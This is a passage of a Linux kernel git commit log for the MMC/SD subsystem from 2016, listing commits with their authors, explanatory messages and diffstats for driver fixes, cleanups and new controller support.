Signed-off-by: Jaehoon Chung Reviewed-by: Shawn Lin Signed-off-by: Ulf Hansson drivers/mmc/host/dw_mmc.c | 5 ----- 1 file changed, 5 deletions(-) commit 207535698e7dbbeebddce2dbe9dfbecb55b4e999 Author: Shawn Lin Date: Wed Sep 21 10:40:25 2016 +0800 mmc: dw_mmc: minor cleanup for dw_mci_adjust_fifoth msize and rx_wmark are properly initialized, we dont't need to assign them again. Signed-off-by: Shawn Lin Signed-off-by: Jaehoon Chung Signed-off-by: Ulf Hansson drivers/mmc/host/dw_mmc.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit cc190d4c6499b1b3fca6693866df62cad18ed833 Author: Shawn Lin Date: Fri Sep 2 12:14:39 2016 +0800 mmc: dw_mmc: use macro to define ring buffer size It's very prone to make mistake as we might forget to replace all PAGE_SIZEs with new values if we try to modify the ring buffer size for whatever reasons. Let's use a macro to define it. Signed-off-by: Shawn Lin Signed-off-by: Jaehoon Chung Signed-off-by: Ulf Hansson drivers/mmc/host/dw_mmc.c | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) commit d12d0cb1d7dc00605112bf1d5dcc157f2908a068 Author: Shawn Lin Date: Fri Sep 2 12:14:38 2016 +0800 mmc: dw_mmc: fix misleading error print if failing to do DMA transfer The original log didn't figure out that we could still finish this transfer by PIO mode even if failing to use DMA. And it should be kept for debug level instead of error one. Signed-off-by: Shawn Lin Signed-off-by: Jaehoon Chung Signed-off-by: Ulf Hansson drivers/mmc/host/dw_mmc.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 3b2a067b98b45f7a7dafe21c34a3ae744c697f0f Author: Shawn Lin Date: Fri Sep 2 12:14:37 2016 +0800 mmc: dw_mmc: avoid race condition of cpu and IDMAC We could see an obvious race condition by test that the former write operation by IDMAC aiming to clear OWN bit reach right after the later configuration of the same desc, which makes the IDMAC be in SUSPEND state as the OWN bit was cleared by the asynchronous write operation of IDMAC. The bug can be very easy reproduced on RK3288 or similar when we reduce the running rate of system buses and keep the CPU running faster. So as two separate masters, IDMAC and cpu write the same descriptor stored on the same address, and this should be protected by adding check of OWN bit before preparing new descriptors. Signed-off-by: Shawn Lin Signed-off-by: Jaehoon Chung Signed-off-by: Ulf Hansson drivers/mmc/host/dw_mmc.c | 208 ++++++++++++++++++++++++++++------------------ 1 file changed, 129 insertions(+), 79 deletions(-) commit ec0baaa6b33932a25432e17e0bca8d96083caffa Author: Shawn Lin Date: Fri Sep 2 12:14:36 2016 +0800 mmc: dw_mmc: split out preparation of desc for IDMAC32 and IDMAC64 We intend to add more check for descriptors when preparing desc. Let's spilt out the separate body to make the dw_mci_translate_sglist not so lengthy. After spliting out these two functions, we could remove dw_mci_translate_sglist and call both of them when staring idmac. Signed-off-by: Shawn Lin Signed-off-by: Jaehoon Chung Signed-off-by: Ulf Hansson drivers/mmc/host/dw_mmc.c | 149 ++++++++++++++++++++++++---------------------- 1 file changed, 79 insertions(+), 70 deletions(-) commit 1712c9373f98ae8ed41599a8d7841a6fba29c264 Author: Ziyuan Xu Date: Wed Sep 21 09:43:49 2016 +0800 mmc: core: don't try to switch block size for dual rate mode Per spec, block size should always be 512 bytes for dual rate mode, so any attempts to switch the block size under dual rate mode should be neglected. Signed-off-by: Ziyuan Xu Signed-off-by: Shawn Lin Signed-off-by: Ulf Hansson drivers/mmc/core/core.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 3794c542641f1a7a329f31c87927e2c5f5417670 Author: Zach Brown Date: Fri Sep 16 10:01:42 2016 -0500 mmc: sdhci-of-arasan: Set controller to test mode when no CD bit The sdhci controller on xilinx zynq devices will not function unless the CD bit is provided. http://www.xilinx.com/support/answers/61064.html In cases where it is impossible to provide the CD bit in hardware, setting the controller to test mode and then setting inserted to true will get the controller to function without the CD bit. When the device has the property xlnx,fails-without-test-cd the driver changes the controller to test mode and sets test inserted to true to make the controller function. Signed-off-by: Zach Brown Acked-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-of-arasan.c | 27 ++++++++++++++++++++++++++- drivers/mmc/host/sdhci.h | 2 ++ 2 files changed, 28 insertions(+), 1 deletion(-) commit ae0c12cc4e4b0405ffd48368f742ba0d5a01f7f1 Author: Zach Brown Date: Fri Sep 16 10:01:41 2016 -0500 dt: sdhci-of-arasan: Add device tree option xlnx, fails-without-test-cd The sdhci controller on xilinx zynq devices will not function unless the CD bit is provided. http://www.xilinx.com/support/answers/61064.html In cases where it is impossible to provide the CD bit in hardware, setting the controller to test mode and then setting inserted to true will get the controller to function without the CD bit. The device property "xlnx,fails-without-test-cd" will let the arasan driver know the controller does not have the CD line wired and that the controller does not function without it. Signed-off-by: Zach Brown Acked-by: Rob Herring Signed-off-by: Ulf Hansson Documentation/devicetree/bindings/mmc/arasan,sdhci.txt | 3 +++ 1 file changed, 3 insertions(+) commit 0bc0b6e86524526c92a9409faea79d53db8e7e6e Author: Wolfram Sang Date: Mon Sep 19 22:57:48 2016 +0200 mmc: tmio: add eMMC support We need to add R1 without CRC support, refactor the bus width routine a little and extend a quirk check. To support "non-removable;" we need a workaround which will be hopefully removed when reworking PM soon. Signed-off-by: Wolfram Sang Signed-off-by: Ulf Hansson drivers/mmc/host/tmio_mmc.h | 3 +++ drivers/mmc/host/tmio_mmc_pio.c | 38 ++++++++++++++++++++++++++------------ 2 files changed, 29 insertions(+), 12 deletions(-) commit f7dd5462dac0447851079051e40af35d0af7579e Author: Wolfram Sang Date: Mon Sep 19 22:57:47 2016 +0200 mmc: rtsx_usb: use new macro for R1 without CRC Signed-off-by: Wolfram Sang Signed-off-by: Ulf Hansson drivers/mmc/host/rtsx_usb_sdmmc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8c8d0ecbd87fff5cfca0a9a72fa388c3f61dab8f Author: Wolfram Sang Date: Mon Sep 19 22:57:46 2016 +0200 mmc: rtsx_pci: use new macro for R1 without CRC Signed-off-by: Wolfram Sang Signed-off-by: Ulf Hansson drivers/mmc/host/rtsx_pci_sdmmc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 51b50c961676428cd356d6fa494a2e9f53dc77bf Author: Wolfram Sang Date: Mon Sep 19 22:57:45 2016 +0200 mmc: add define for R1 response without CRC The core uses it for polling. Give drivers a proper define handle this case like for other response types. Signed-off-by: Wolfram Sang Signed-off-by: Ulf Hansson include/linux/mmc/core.h | 3 +++ 1 file changed, 3 insertions(+) commit 29eb7bd01e80df316ab9d1da1a4ee580fae89188 Author: Linus Walleij Date: Tue Sep 20 11:34:38 2016 +0200 mmc: card: do away with indirection pointer We have enough vtables in the kernel as it is, we don't need this one to create even more artificial separation of concerns. As is proved by the Makefile: obj-$(CONFIG_MMC_BLOCK) += mmc_block.o mmc_block-objs := block.o queue.o block.c and queue.c are baked into the same mmc_block.o object. So why would one of these objects access a function in the other object by dereferencing a pointer? Create a new block.h header file for the single shared function from block to queue and remove the function pointer and just call the queue request function. Apart from making the code more readable, this also makes link optimizations possible and probably speeds up the call as well. Signed-off-by: Linus Walleij Signed-off-by: Ulf Hansson drivers/mmc/card/block.c | 3 +-- drivers/mmc/card/block.h | 1 + drivers/mmc/card/queue.c | 4 +++- drivers/mmc/card/queue.h | 2 -- 4 files changed, 5 insertions(+), 5 deletions(-) commit c80f275fa1766cfdbc24c7a5d3d870df1fe730db Author: Adrian Hunter Date: Tue Aug 16 13:44:15 2016 +0300 mmc: sdhci-acpi: Set MMC_CAP_CMD_DURING_TFR for Intel eMMC controllers Set MMC_CAP_CMD_DURING_TFR for Intel BYT and related eMMC host controllers. Signed-off-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-acpi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 32828857dba32c04e7383ba47db19e3bf37fce9d Author: Adrian Hunter Date: Tue Aug 16 13:44:14 2016 +0300 mmc: sdhci-pci: Set MMC_CAP_CMD_DURING_TFR for Intel eMMC controllers Set MMC_CAP_CMD_DURING_TFR for Intel BYT and related eMMC host controllers. Signed-off-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-pci-core.c | 1 + 1 file changed, 1 insertion(+) commit 20845beff7d74f2021a60abe3789bb9c8881c2c1 Author: Adrian Hunter Date: Tue Aug 16 13:44:13 2016 +0300 mmc: sdhci: Support cap_cmd_during_tfr requests Now SDHCI supports commands during transfer, enable support for the core API. There are 3 small changes needed: First, auto-CMD12 cannot be used with a cap_cmd_during_tfr request because the host controller cannot expect the command line to be available. Secondly, a cap_cmd_during_tfr request must not send a stop command, again because the host controller cannot expect the command line to be available. Thirdly, when a cap_cmd_during_tfr command completes, use mmc_command_complete() to notify the upper layers that the command line is now available for further commands. Signed-off-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci.c | 21 +++++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) commit 4bbb9aac9a9a6cd4b2718e43f998c5e4e3b382cd Author: Adrian Hunter Date: Tue Aug 16 13:44:12 2016 +0300 mmc: mmc_test: Add tests for sending commands during transfer Add 6 tests for sending commands during transfer. The tests are: * Commands during read - no Set Block Count (CMD23). * Commands during write - no Set Block Count (CMD23). * Commands during read - use Set Block Count (CMD23). * Commands during write - use Set Block Count (CMD23). * Commands during non-blocking read - use Set Block Count (CMD23). * Commands during non-blocking write - use Set Block Count (CMD23). For a range of transfer sizes, the tests start an ongoing data transfer and then repeatedly send the status command (CMD13) while the transfer continues. The tests pass if all requests complete with no errors. The host controller driver must support MMC_CAP_CMD_DURING_TFR. Signed-off-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/card/mmc_test.c | 308 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 308 insertions(+) commit 5163af5a5e2e69c9a5a854b92ffa7e2f7672dbf7 Author: Adrian Hunter Date: Tue Aug 16 13:44:11 2016 +0300 mmc: core: Add support for sending commands during data transfer A host controller driver exposes its capability using caps flag MMC_CAP_CMD_DURING_TFR. A driver with that capability can accept requests that are marked mrq->cap_cmd_during_tfr = true. Then the driver informs the upper layers when the command line is available for further commands by calling mmc_command_done(). Because of that, the driver will not then automatically send STOP commands, and it is the responsibility of the upper layer to send a STOP command if it is required. For requests submitted through the mmc_wait_for_req() interface, the caller sets mrq->cap_cmd_during_tfr = true which causes mmc_wait_for_req() in fact not to wait. The caller can then send commands that do not use the data lines. Finally the caller can wait for the transfer to complete by calling mmc_wait_for_req_done() which is now exported. For requests submitted through the mmc_start_req() interface, the caller again sets mrq->cap_cmd_during_tfr = true, but mmc_start_req() anyway does not wait. The caller can then send commands that do not use the data lines. Finally the caller can wait for the transfer to complete in the normal way i.e. calling mmc_start_req() again. Irrespective of how a cap_cmd_during_tfr request is started, mmc_is_req_done() can be called if the upper layer needs to determine if the request is done. However the appropriate waiting function (either mmc_wait_for_req_done() or mmc_start_req()) must still be called. The implementation consists primarily of a new completion mrq->cmd_completion which notifies when the command line is available for further commands. That completion is completed by mmc_command_done(). When there is an ongoing data transfer, calls to mmc_wait_for_req() will automatically wait on that completion, so the caller does not have to do anything special. Note, in the case of errors, the driver may call mmc_request_done() without calling mmc_command_done() because mmc_request_done() always calls mmc_command_done(). Signed-off-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/core/core.c | 95 +++++++++++++++++++++++++++++++++++++++++++++--- include/linux/mmc/core.h | 7 ++++ include/linux/mmc/host.h | 5 +++ 3 files changed, 101 insertions(+), 6 deletions(-) commit 6a3d8ced09482bd5b0e831740d83ed722aa2c5e6 Author: Jaedon Shin Date: Fri Sep 9 11:08:40 2016 +0900 mmc: sdhci-brcmstb: Fix incorrect capability Clear incorrect SDHCI_CAN_64BIT capability on Broadcom MIPS based SoCs. The MIPS based SoCs are using ADMA only, but the several SoCs have the incorrect capability bit about ADMA 64-bit. The "brcm,bcm7425-sdhci" is compatible string for MIPS based SoC. Signed-off-by: Jaedon Shin Acked-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-brcmstb.c | 3 +++ 1 file changed, 3 insertions(+) commit 5a3ab2815c6a3772e9c70e1b3f778f1a23fc8671 Author: Jaedon Shin Date: Fri Sep 9 11:08:39 2016 +0900 mmc: DT: sdhci-brcmstb: Bindings document for common sdhci-brcmstb Changes to the DT binding document to separate the BCM7425 and the BCM7445. A compatible string "brcm,bcm7425-sdhci" was representing the BCM7425 SDHCI host controller with all BRCMSTB SoCs including the BCM7445. Now it should be separated because vary a bit in initialize each host controller. - Renames the DT binding document to common name. - Adds a compatible string "brcm,bcm7445-sdhci" that is representing the BCM7445 with thereafter 28nm generation ARM based SoCs. Signed-off-by: Jaedon Shin Signed-off-by: Ulf Hansson Acked-by: Rob Herring .../devicetree/bindings/mmc/brcm,bcm7425-sdhci.txt | 36 -------------------- .../devicetree/bindings/mmc/brcm,sdhci-brcmstb.txt | 38 ++++++++++++++++++++++ 2 files changed, 38 insertions(+), 36 deletions(-) commit e1b8dfd1b1c61b3fde3622a2f244a008faca2916 Author: Icenowy Zheng Date: Fri Aug 5 04:57:15 2016 +0200 mmc: sunxi: add support for A64 mmc controller A64 SoC features a MMC controller which need only the mod clock, and can calibrate delay by itself. This patch adds support for the new MMC controller IP core. Signed-off-by: Icenowy Zheng Signed-off-by: Ulf Hansson drivers/mmc/host/sunxi-mmc.c | 79 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 79 insertions(+) commit 3d254b54f743c19f137034163cc8d81e2a6f2858 Author: Icenowy Zheng Date: Fri Aug 5 04:57:14 2016 +0200 Documentation: dt: Add new compatible to sunxi mmc driver bindings Signed-off-by: Icenowy Zheng Signed-off-by: Ulf Hansson Documentation/devicetree/bindings/mmc/sunxi-mmc.txt | 1 + 1 file changed, 1 insertion(+) commit 6c689886fbe41b6492bd8ee9334ff66893274810 Author: Baolin Wang Date: Wed Sep 7 10:38:25 2016 +0800 mmc: core: Optimize the mmc erase size alignment In most cases the 'card->erase_size' is power of 2, then the round_up/down() function is more efficient than '%' operation when the 'card->erase_size' is power of 2. Signed-off-by: Baolin Wang Tested-by: Shawn Lin Signed-off-by: Ulf Hansson drivers/mmc/core/core.c | 34 ++++++++++++++++++++++++++-------- 1 file changed, 26 insertions(+), 8 deletions(-) commit 71085123d27dc5d28ce523344f32ac0d20c5f0a5 Author: Baolin Wang Date: Wed Sep 7 10:38:24 2016 +0800 mmc: core: Factor out the alignment of erase size In order to clean up the mmc_erase() function and do some optimization for erase size alignment, factor out the guts of erase size alignment into mmc_align_erase_size() function. Signed-off-by: Baolin Wang Tested-by: Shawn Lin Signed-off-by: Ulf Hansson drivers/mmc/core/core.c | 48 ++++++++++++++++++++++++++++++++---------------- 1 file changed, 32 insertions(+), 16 deletions(-) commit 902a8a0b50d7d13cf88211d0bde3a7c27fd98fa5 Author: Arnd Bergmann Date: Tue Sep 6 14:56:09 2016 +0200 mmc: davinci: remove incorrect NO_IRQ use platform_get_irq() returns an error value on failure, not NO_IRQ, so the error handling here could never work. This changes the code to propagate the error value instead. Signed-off-by: Arnd Bergmann Signed-off-by: Ulf Hansson drivers/mmc/host/davinci_mmc.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 7428e0bf7e87627af880b013f5f4648f07f70842 Author: Ai Kyuse Date: Tue Sep 6 12:38:38 2016 +0200 mmc: sh_mobile_sdhi: Add r8a7796 support Add support for r8a7796 SoC. Signed-off-by: Ai Kyuse Signed-off-by: Simon Horman Reviewed-by: Geert Uytterhoeven Signed-off-by: Ulf Hansson Documentation/devicetree/bindings/mmc/tmio_mmc.txt | 1 + drivers/mmc/host/sh_mobile_sdhi.c | 1 + 2 files changed, 2 insertions(+) commit 12182affc74a8ce1e95bd4feeb1638c55d2ab6fd Author: Ulf Hansson Date: Wed Jul 27 00:04:03 2016 +0200 mmc: core: Use a default maximum erase timeout In cases when the host->max_busy_timeout isn't specified, the calculated number of maximum discard sectors defaults to UINT_MAX. This may cause a too long timeout for a discard request. Avoid this by using a default maximum erase timeout of 60s, used when we calculate the maximum number of sectors that are allowed to be discarded per request. Do note that the minimum number of sectors to be discarded is still at least one "preferred erase size". Signed-off-by: Ulf Hansson Reviewed-by: Shawn Lin drivers/mmc/core/core.c | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) commit 4ae12588e028f66a505b2287e8237a1815ee31a3 Author: Thierry Reding Date: Thu Sep 1 13:46:17 2016 +0200 mmc: tegra: Mark 64-bit DMA broken on Tegra124 According to the TRM, the SD/MMC controller on Tegra124 supports 34-bit addressing, but testing shows that this doesn't work. On a device which has more than 2 GiB of RAM and LPAE enabled, buffer allocations can use addresses above the 32-bit boundary. One way to work around this would be to enable IOMMU physical to virtual address translations for the SD/MMC controllers, but that's not easy to implement without breaking existing use-cases. It's also not obvious why 34-bit addressing doesn't work as advertised. In order to fix this for existing users, add the SDHCI_QUIRK2_BROKEN_64_BIT_DMA quirk for now. Reported-by: Paul Kocialkowski Acked-by: Stephen Warren Acked-by: Arnd Bergmann Acked-by: Adrian Hunter Signed-off-by: Thierry Reding Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-tegra.c | 27 ++++++++++++++++++++++++++- 1 file changed, 26 insertions(+), 1 deletion(-) commit b2ca77c98390304722c2baf289b181d6f0fa3c49 Author: Shawn Lin Date: Fri Aug 26 16:51:15 2016 +0800 mmc: sdhci-of-arasan: Properly set corecfg_clockmultiplier on rk3399 corecfg_clockmultiplier indicates clock multiplier value of programmable clock generator which should be the same value of SDHCI_CAPABILITIES_1. The default value of the register, corecfg_clockmultiplier, is 0x10. But actually it is a mistake by designer as our intention was to set it to be zero which means we don't support programmable clock generator. So we have to make it to be zero on bootloader which seems work fine until now. But now we find an issue that when deploying genpd support for it, the remove callback will trigger the genpd to poweroff the power domain for sdhci-of-arasan which manage the controller, phy and corecfg_* stuff. So when we do bind/unbind the driver, we have already reinit the controller and phy, but without doing that for corecfg_*. Regarding to only the corecfg_clockmultipler is wrong, let's fix it by explicitly marking it to be zero when probing. With this change, we could do bind/unbind successfully. Reported-by: Ziyuan Xu Cc: Douglas Anderson Signed-off-by: Shawn Lin Reviewed-by: Ziyuan Xu Tested-by: Ziyuan Xu Reviewed-by: Douglas Anderson Acked-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-of-arasan.c | 46 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) commit 4674b6c87019ba8e3e53c91712fff07b93f4efa7 Author: Andy Shevchenko Date: Mon Aug 29 12:33:41 2016 +0300 sdhci-pci: enable SD card interface on Merrifield Intel Merrifield provides an interface to an external SD card. Enable it here. Signed-off-by: Andy Shevchenko Acked-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-pci-core.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit d55655773ab23d170b4295666f7feff976124ae3 Author: Andy Shevchenko Date: Mon Aug 29 12:33:40 2016 +0300 sdhci-pci: enable SDIO interface on Intel Merrifield Intel Merrifield is known to have an SDIO interface and on Intel Edison board a WiFi card is wired to it. Enable the interface here to allow WiFi card enumeration. Signed-off-by: Andy Shevchenko Acked-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-pci-core.c | 5 +++++ 1 file changed, 5 insertions(+) commit 2e57bbe22c15916a020c4563ebcad5c848c0183c Author: Andy Shevchenko Date: Mon Aug 29 12:33:39 2016 +0300 sdhci-pci: refactor intel_mrfld_mmc_probe_slot() Refactor intel_mrfld_mmc_probe_slot() to use switch case. The change allows to add a support for SD and SDIO interfaces without any pain. Signed-off-by: Andy Shevchenko Acked-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-pci-core.c | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) commit 3203a82724b86cc221e63a519313544d5f192289 Author: Jin Guojun Date: Thu Aug 4 10:16:13 2016 +0800 mmc: dw_mmc: k3: UHS-SD card for Hisilicon Hikey Hisilicon Hikey have no tuning function in dw_mmc-k3.c, so we must do the tuning function stub when we init UHS card. Signed-off-by: Jin Guojun Signed-off-by: Jaehoon Chung Signed-off-by: Ulf Hansson drivers/mmc/host/dw_mmc-k3.c | 6 ++++++ 1 file changed, 6 insertions(+) commit e7a1dec19c09973c8c994a5b895627e0c7082b17 Author: Shawn Lin Date: Mon Aug 22 10:57:16 2016 +0800 mmc: dw_mmc: return -EILSEQ for EBE and SBE error The following log we found indicate the fact that dw_mmc didn't treat EBE or SBE as a similar problem as CRC error. -EIO is quite not informative as it may indicate that the device is broken rather than that of tuning stuff. ... [ 89.057226] bcmsdh_sdmmc: Failed to Read byte F1:@0x1001f=ff, Err: -5 [ 89.058811] bcmsdh_sdmmc: Failed to Read byte F1:@0x1001f=ff, Err: -5 [ 89.059415] bcmsdh_sdmmc: Failed to Read byte F1:@0x1000e=ff, Err: -84 [ 89.254248] dwmmc_rockchip fe310000.dwmmc: Successfully tuned phase to 199 [ 89.273912] dhd_set_suspend: Remove extra suspend setting [ 89.274478] dhd_enable_packet_filter: enter, value = 0 64 bytes from 112.90.83.112: icmp_seq=24 ttl=53 time=1321 ms 64 bytes from 112.90.83.112: icmp_seq=25 ttl=53 time=319 ms 64 bytes from 112.90.83.112: icmp_seq=26 ttl=53 time=69.8 ms 64 bytes from 112.90.83.112: icmp_seq=27 ttl=53 time=37.5 ms ... For the host, when failing to sample cmd's response due to tuning stuff, we still return -EIO as it's quite vague to figure out whether it related to signal or just the broken devices, especially for the card type detection when booting kernel as all things go well but the cmd set used. But for the data phase, if receiving the cmd's response which carriess data transfer, we should have more confidence that it is very probably related to the tuning stuff. Just as the log shown above, we sometimes suffer too much this kind of pain as the dw_mmc return -EIO for the case, so mmc-core will not do retune and caller drivers like bcm's wifi driver, still retry the failure more and more until dw_mmc finally generate CRC. Adrian suggested that drivers who care the specific cases should call mmc_retune_needed rather than doing it in mmc core. It makes sense but I'm considering that -EILSEQ actually means illegal sequence , so we use it for CRC cases. Meanwhile, SBE/EBE indicate the illegal sequence of start bit or end bit for data0~7. So I realize that we should use -EILSEQ for them both as well CRC cases. Suggested-by: Adrian Hunter Signed-off-by: Shawn Lin Signed-off-by: Jaehoon Chung Signed-off-by: Ulf Hansson drivers/mmc/host/dw_mmc.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d6786fefe816ba60c794f8a41a73b0dd3a4df097 Author: Guodong Xu Date: Fri Aug 12 16:51:26 2016 +0800 mmc: dw_mmc: add reset support to dwmmc host controller Dwmmc host controller may in unknown state when entering kernel boot. One example is when booting from eMMC, bootloader need initialize MMC host controller into some state so it can read. In order to make sure MMC host controller in a clean initial state, this reset support is added. With this patch, a 'resets' property can be added into dw_mmc device tree node. The hardware logic is: dwmmc host controller IP receives a reset signal from a 'reset provider' (eg. power management unit). The 'resets' property points to this reset signal. So, during dwmmc driver probe, it can use this signal to reset itself. Refer to [1] for more information. [1] Documentation/devicetree/bindings/reset/reset.txt Signed-off-by: Guodong Xu Signed-off-by: Xinwei Kong Signed-off-by: Zhangfei Gao Reviewed-by: Shawn Lin Signed-off-by: Jaehoon Chung Signed-off-by: Ulf Hansson drivers/mmc/host/dw_mmc.c | 23 ++++++++++++++++++++++- include/linux/mmc/dw_mmc.h | 2 ++ 2 files changed, 24 insertions(+), 1 deletion(-) commit fdc22b6b1f259d939ace88dff21f167e79eadd67 Author: Guodong Xu Date: Fri Aug 12 16:51:25 2016 +0800 Documentation: synopsys-dw-mshc: add binding for resets Add resets property to synopsys-dw-mshc bindings. It is intended to represent the hardware reset signal present internally in some host controller IC designs. See Documentation/devicetree/bindings/reset/reset.txt for details. Signed-off-by: Guodong Xu Reviewed-by: Shawn Lin Acked-by: Rob Herring Signed-off-by: Jaehoon Chung Signed-off-by: Ulf Hansson Documentation/devicetree/bindings/mmc/synopsys-dw-mshc.txt | 4 ++++ 1 file changed, 4 insertions(+) commit 7037f3beae352faa478ff5729c308756233ef4d3 Author: Jaehoon Chung Date: Fri Jul 15 10:54:08 2016 +0900 mmc: dw_mmc: remove the unnecessary IS_ERR() checking for ciu/biu clock If ciu/biu clock are NULL, clk_disable_unprepare should be just returned. In clk_disable_unprepare(), already checked whether clk is error or NULL. Signed-off-by: Jaehoon Chung Reviewed-by: Shawn Lin Signed-off-by: Ulf Hansson drivers/mmc/host/dw_mmc.c | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) commit 00f400b73b8deba86d75804e990527b0bab21149 Author: Shawn Lin Date: Fri Jul 15 09:47:34 2016 +0800 mmc: dw_mmc: remove parsing for each slot subnode The intention to remove it comes from the conflict of what the mmc-core does with the way dw_mmc treats disable-wp. We could see that 'disable-wp' is supported by core but it's deprecated by dw_mmc as we don't expect it to be existed for each slot subnode but should be in the parent node. Based on searching for all the upstream dts using dw_mmc, we're confident that none of them use the deprecated way. Maybe we should take old dtb in consideration but it was a flag day since the time we was considering to take it away. The fact is that there are none of dts using the deprecated way since v3.18 or even earlier. So personally I don't believe the old dtb would/could bootup current kernel(may not?). Let's remove it now. Signed-off-by: Shawn Lin Signed-off-by: Jaehoon Chung Signed-off-by: Ulf Hansson drivers/mmc/host/dw_mmc.c | 43 ------------------------------------------- 1 file changed, 43 deletions(-) commit 941a659ffdefe31af8222451ca2a74ebab8d98dd Author: Krzysztof Kozlowski Date: Thu Jul 14 15:22:27 2016 +0200 mmc: dw_mmc: exynos: Warn if HS400 is being used on non-Exynos5420 chipset Chipsets before Exynos5420 did not support HS400 so if MMC core tries to configure HS400 timing, this might or might not work. Warn in such cases because this is DTB misconfiguration. Signed-off-by: Krzysztof Kozlowski Reviewed-by: Alim Akhtar Signed-off-by: Jaehoon Chung Signed-off-by: Ulf Hansson drivers/mmc/host/dw_mmc-exynos.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 0ed50abb2d8fc81570b53af25621dad560cd49b3 Author: Daniel Glöckner Date: Tue Aug 30 14:17:30 2016 +0200 mmc: block: don't use CMD23 with very old MMC cards CMD23 aka SET_BLOCK_COUNT was introduced with MMC v3.1. Older versions of the specification allowed to terminate multi-block transfers only with CMD12. The patch fixes the following problem: mmc0: new MMC card at address 0001 mmcblk0: mmc0:0001 SDMB-16 15.3 MiB mmcblk0: timed out sending SET_BLOCK_COUNT command, card status 0x400900 ... blk_update_request: I/O error, dev mmcblk0, sector 0 Buffer I/O error on dev mmcblk0, logical block 0, async page read mmcblk0: unable to read partition table Signed-off-by: Daniel Glöckner Cc: Signed-off-by: Ulf Hansson drivers/mmc/card/block.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 92add82e0ce0946d7aa6f2ae71cd160d914d2f48 Author: Ulf Hansson Date: Tue Aug 30 09:23:12 2016 +0200 mmc: sdhci: Remove ->platform_init() callback as it's no longer used The commit 1ef5e49e46b9 ("mmc: sdhci-of-esdhc: add/remove some quirks according to vendor version") moved sdhci-of-esdhc away from using the ->platform_init() callback. As it was the only user of it and that it seems reasonable to believe that it won't be needed again, let's just remove it. Signed-off-by: Ulf Hansson Acked-by: Adrian Hunter drivers/mmc/host/sdhci-pltfm.c | 7 ------- drivers/mmc/host/sdhci.h | 1 - 2 files changed, 8 deletions(-) commit c10bc3722378e5b387880c3c8baf19efc9676fe2 Author: Andy Shevchenko Date: Thu Aug 18 14:59:13 2016 +0300 mmc: sdhci-pci: Convert to use managed functions (part2) The commit 52ac7acf412b ("mmc: sdhci-pci: Convert to use managed functions pcim_* and devm_*") converted ->probe() / ->remove() functions to use device managed resource API. Here is a follow up to cover sdhci_pci_probe_slot() and sdhci_pci_remove_slot(). Signed-off-by: Andy Shevchenko Acked-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-pci-core.c | 34 ++++++---------------------------- drivers/mmc/host/sdhci-pci.h | 1 - 2 files changed, 6 insertions(+), 29 deletions(-) commit 923dff87373708801f501cbe8993df98a91b566e Author: Shawn Lin Date: Fri Aug 26 08:49:56 2016 +0800 mmc: sdio: deploy error handling instead of triggering BUG_ON When using mmc_io_rw_extended, it's intent to avoid null pointer of card and invalid func number. But actually it didn't prevent that as the seg_size already use the card. Currently the wrapper function sdio_io_rw_ext_helper already use card before calling mmc_io_rw_extended, so we should move this check to there. As to the func number, it was token from '(ocr & 0x70000000) >> 28' which should be enough to guarantee that it won't be larger than 7. But we should prevent the caller like wifi drivers modify this value. So let's move this check into sdio_io_rw_ext_helper either. Also we remove the BUG_ON for mmc_send_io_op_cond since all possible paths calling this function are protected by checking the arguments in advance. After deploying these changes, we could not see any panic within SDIO API even if func drivers abuse the SDIO func APIs. Signed-off-by: Shawn Lin Signed-off-by: Ulf Hansson drivers/mmc/core/sdio_io.c | 47 ++++++++++++++++++++++++++++++--------------- drivers/mmc/core/sdio_ops.c | 9 ++------- 2 files changed, 33 insertions(+), 23 deletions(-) commit 96e52daa508bf349582e41911da66461b54dcc12 Author: Shawn Lin Date: Fri Aug 26 08:49:55 2016 +0800 mmc: block: remove the check of packed for packed request routine packed should always exist without calling its cleanup function explicitly. Moreover, we have use it when preparing packed list. So I don't believe we should ever fall into this check again when doing mmc_blk_packed_hdr_wrq_prep or mmc_blk_end_packed_req,etc. And the code of mmc_blk_end_packed_req is trying to use packed before checking it which makes it quite weird. This patch is trying to remove these two checks and move it to the mmc_blk_prep_packed_list. If we find packed is null, then we should never use MMC_BLK_PACKED_CMD. By doing this, we could fall back to non-packed request if finding null packed, though it's impossible theoretically. After removing these two BUG_ONs, we also remove all other similar checks within the routine of mmc_blk_issue_rw_rq which checks the error handling of packed request. Signed-off-by: Shawn Lin Signed-off-by: 